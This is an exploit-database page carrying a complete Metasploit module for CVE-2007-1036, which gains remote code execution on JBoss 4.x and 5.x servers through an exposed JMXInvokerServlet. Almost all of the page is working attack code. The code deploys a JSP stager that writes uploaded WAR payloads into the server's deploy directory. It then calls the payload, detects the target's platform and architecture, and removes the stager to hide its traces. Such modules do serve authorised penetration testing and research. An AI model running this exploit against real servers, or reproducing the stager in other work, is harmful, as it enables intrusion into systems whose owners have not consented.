[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

JBoss DeploymentFileRepository WAR Deployment

Author
metasploit
Risk
[
Security Risk Medium
]
0day-ID
0day-ID-19327
Category
remote exploits
Date add
05-09-2012
Platform
multiple
require 'msf/core'


class Metasploit4 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  HttpFingerprint = { :pattern => [ /JBoss/ ] }

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'JBoss DeploymentFileRepository WAR Deployment (via JMXInvokerServlet)',
      'Description' => %q{
          This module can be used to execute a payload on JBoss servers that have an
        exposed HTTPAdaptor's JMX Invoker exposed on the "JMXInvokerServlet". By invoking
        the methods provided by jboss.admin:DeploymentFileRepository a stager is deployed
        to finally upload the selected payload to the target. The DeploymentFileRepository
        methods are only available on Jboss 4.x and 5.x.
      },
      'Author'      => [
        'Patrick Hof', # Vulnerability discovery, analysis and PoC
        'Jens Liebchen', # Vulnerability discovery, analysis and PoC
        'h0ng10' # Metasploit module
      ],
      'License'     => MSF_LICENSE,
      'References'  =>
        [
          [ 'CVE', '2007-1036' ],
          [ 'OSVDB', '33744' ],
          [ 'URL', 'http://www.redteam-pentesting.de/publications/jboss' ],
        ],
      'DisclosureDate' => 'Feb 20 2007',
      'Privileged'  => true,
      'Platform'    => ['java', 'win', 'linux' ],
      'Stance'      => Msf::Exploit::Stance::Aggressive,
      'Targets'     =>
        [

          # do target detection but java meter by default
          [ 'Automatic',
            {
              'Arch' => ARCH_JAVA,
              'Platform' => 'java'
            }
          ],

          [ 'Java Universal',
            {
              'Arch' => ARCH_JAVA,
            },
          ],

          #
          # Platform specific targets
          #
          [ 'Windows Universal',
            {
              'Arch' => ARCH_X86,
              'Platform' => 'win'
            },
          ],

          [ 'Linux x86',
            {
              'Arch' => ARCH_X86,
              'Platform' => 'linux'
            },
          ],
        ],

      'DefaultTarget'  => 0))

      register_options(
        [
          Opt::RPORT(8080),
          OptString.new('JSP',       [ false, 'JSP name to use without .jsp extension (default: random)', nil ]),
          OptString.new('APPBASE',   [ false, 'Application base name, (default: random)', nil ]),
          OptString.new('TARGETURI', [ true,  'The URI path of the invoker servlet', '/invoker/JMXInvokerServlet' ]),
        ], self.class)

  end

  def check
    res = send_serialized_request('version.bin')
    if (res.nil?) or (res.code != 200)
      print_error("Unable to request version, returned http code is: #{res.code.to_s}")
      return Exploit::CheckCode::Unknown
    end

    # Check if the version is supported by this exploit
    return Exploit::CheckCode::Vulnerable if res.body =~ /CVSTag=Branch_4_/
    return Exploit::CheckCode::Vulnerable if res.body =~ /SVNTag=JBoss_4_/
    return Exploit::CheckCode::Vulnerable if res.body =~ /SVNTag=JBoss_5_/

    if res.body =~ /ServletException/  # Simple check, if we caused an exception.
      print_status("Target seems vulnerable, but the used JBoss version is not supported by this exploit")
      return Exploit::CheckCode::Appears
    end

    return Exploit::CheckCode::Safe
  end

  def exploit
    mytarget = target

    if (target.name =~ /Automatic/)
      mytarget = auto_target
      fail_with("Unable to automatically select a target") if not mytarget
      print_status("Automatically selected target: \"#{mytarget.name}\"")
    else
      print_status("Using manually select target: \"#{mytarget.name}\"")
    end


    # We use a already serialized stager to deploy the final payload
    regex_stager_app_base = rand_text_alpha(14)
    regex_stager_jsp_name = rand_text_alpha(14)
    name_parameter = rand_text_alpha(8)
    content_parameter = rand_text_alpha(8)
    stager_uri = "/#{regex_stager_app_base}/#{regex_stager_jsp_name}.jsp"
    stager_code = "A" * 810    # 810 is the size of the stager in the serialized request

    replace_values = {
      'regex_app_base' => regex_stager_app_base,
      'regex_jsp_name' => regex_stager_jsp_name,
      stager_code => generate_stager(name_parameter, content_parameter)
    }

    print_status("Deploying stager")
    send_serialized_request('installstager.bin', replace_values)
    print_status("Calling stager: #{stager_uri}")
    call_uri_mtimes(stager_uri, 5, 'GET')

    # Generate the WAR with the payload which will be uploaded through the stager
    app_base = datastore['APPBASE'] || rand_text_alpha(8+rand(8))
    jsp_name = datastore['JSP'] || rand_text_alpha(8+rand(8))

    war_data = payload.encoded_war({
      :app_name => app_base,
      :jsp_name => jsp_name,
      :arch => mytarget.arch,
      :platform => mytarget.platform
    }).to_s

    b64_war = Rex::Text.encode_base64(war_data)
    print_status("Uploading payload through stager")
    res = send_request_cgi({
      'uri'     => stager_uri,
      'method'  => "POST",
      'vars_post' =>
      {
        name_parameter => app_base,
        content_parameter => b64_war
      }
    }, 20)

    payload_uri = "/#{app_base}/#{jsp_name}.jsp"
    print_status("Calling payload: " + payload_uri)
    res = call_uri_mtimes(payload_uri,5, 'GET')

    # Remove the payload through  stager
    print_status("Removing payload through stager")
    delete_payload_uri = stager_uri + "?#{name_parameter}=#{app_base}"
    res = send_request_cgi(
      {'uri'     => delete_payload_uri,
    })

    # Remove the stager
    print_status("Removing stager")
    send_serialized_request('removestagerfile.bin', replace_values)
    send_serialized_request('removestagerdirectory.bin', replace_values)

    handler
  end

  def generate_stager(name_param, content_param)
    war_file = rand_text_alpha(4+rand(4))
    file_content = rand_text_alpha(4+rand(4))
    jboss_home = rand_text_alpha(4+rand(4))
    decoded_content = rand_text_alpha(4+rand(4))
    path = rand_text_alpha(4+rand(4))
    fos = rand_text_alpha(4+rand(4))
    name = rand_text_alpha(4+rand(4))
    file = rand_text_alpha(4+rand(4))

    stager_script = <<-EOT
<%@page import="java.io.*,
    java.util.*,
    sun.misc.BASE64Decoder"
%>
<%
String #{file_content} = "";
String #{war_file} = "";
String #{jboss_home} = System.getProperty("jboss.server.home.dir");
if (request.getParameter("#{content_param}") != null){
try {
#{file_content} = request.getParameter("#{content_param}");
#{war_file} = request.getParameter("#{name_param}");
byte[] #{decoded_content} = new BASE64Decoder().decodeBuffer(#{file_content});
String #{path} = #{jboss_home} + "/deploy/" + #{war_file} + ".war";
FileOutputStream #{fos} = new FileOutputStream(#{path});
#{fos}.write(#{decoded_content});
#{fos}.close();
}
catch(Exception e) {}
}
else {
try{
String #{name} = request.getParameter("#{name_param}");
String #{file} = #{jboss_home} + "/deploy/" + #{name} + ".war";
new File(#{file}).delete();
}
catch(Exception e) {}
}

%>
EOT

  # The script must be exactly 810 characters long, otherwise we might have serialization issues
  # Therefore we fill the rest wit spaces
  spaces  = " " * (810 - stager_script.length)
  stager_script << spaces
  end


  def send_serialized_request(file_name , replace_params = {})
    path = File.join( Msf::Config.install_root, "data", "exploits", "jboss_jmxinvoker", "DeploymentFileRepository", file_name)
    data = File.open( path, "rb" ) { |fd| data = fd.read(fd.stat.size) }

    replace_params.each { |key, value| data.gsub!(key, value) }

    res = send_request_cgi({
      'uri'     => target_uri.path,
      'method'  => 'POST',
      'data'    => data,
      'headers' =>
        {
          'ContentType:' => 'application/x-java-serialized-object; class=org.jboss.invocation.MarshalledInvocation',
          'Accept' =>  'text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2'
        }
    }, 25)


    if (not res) or (res.code != 200)
      print_error("Failed: Error requesting preserialized request #{file_name}")
      return nil
    end

    res
  end


  def call_uri_mtimes(uri, num_attempts = 5, verb = nil, data = nil)
    # JBoss might need some time for the deployment. Try 5 times at most and
    # wait 5 seconds inbetween tries
    num_attempts.times do |attempt|
      if (verb == "POST")
        res = send_request_cgi(
          {
            'uri'    => uri,
            'method' => verb,
            'data'   => data
          }, 5)
      else
        uri += "?#{data}" unless data.nil?
        res = send_request_cgi(
          {
            'uri'    => uri,
            'method' => verb
          }, 30)
      end

      msg = nil
      if (!res)
        msg = "Execution failed on #{uri} [No Response]"
      elsif (res.code < 200 or res.code >= 300)
        msg = "http request failed to #{uri} [#{res.code}]"
      elsif (res.code == 200)
        print_status("Successfully called '#{uri}'") if datastore['VERBOSE']
        return res
      end

      if (attempt < num_attempts - 1)
        msg << ", retrying in 5 seconds..."
        print_status(msg) if datastore['VERBOSE']
        select(nil, nil, nil, 5)
      else
        print_error(msg)
        return res
      end
    end
  end


  def auto_target
    print_status("Attempting to automatically select a target")

    plat = detect_platform()
    arch = detect_architecture()

    return nil if (not arch or not plat)

    # see if we have a match
    targets.each { |t| return t if (t['Platform'] == plat) and (t['Arch'] == arch) }

    # no matching target found
    return nil
  end


  # Try to autodetect the target platform
  def detect_platform
    print_status("Attempting to automatically detect the platform")
    res = send_serialized_request("osname.bin")

    if (res.body =~ /(Linux|FreeBSD|Windows)/i)
      os = $1
      if (os =~ /Linux/i)
        return 'linux'
      elsif (os =~ /FreeBSD/i)
        return 'linux'
      elsif (os =~ /Windows/i)
        return 'win'
      end
    end
    nil
  end


  # Try to autodetect the architecture
  def detect_architecture()
    print_status("Attempting to automatically detect the architecture")
    res = send_serialized_request("osarch.bin")
    if (res.body =~ /(i386|x86)/i)
      arch = $1
      if (arch =~ /i386|x86/i)
        return ARCH_X86
        # TODO, more
      end
    end
    nil
  end
end



#  0day.today [2024-07-07]  #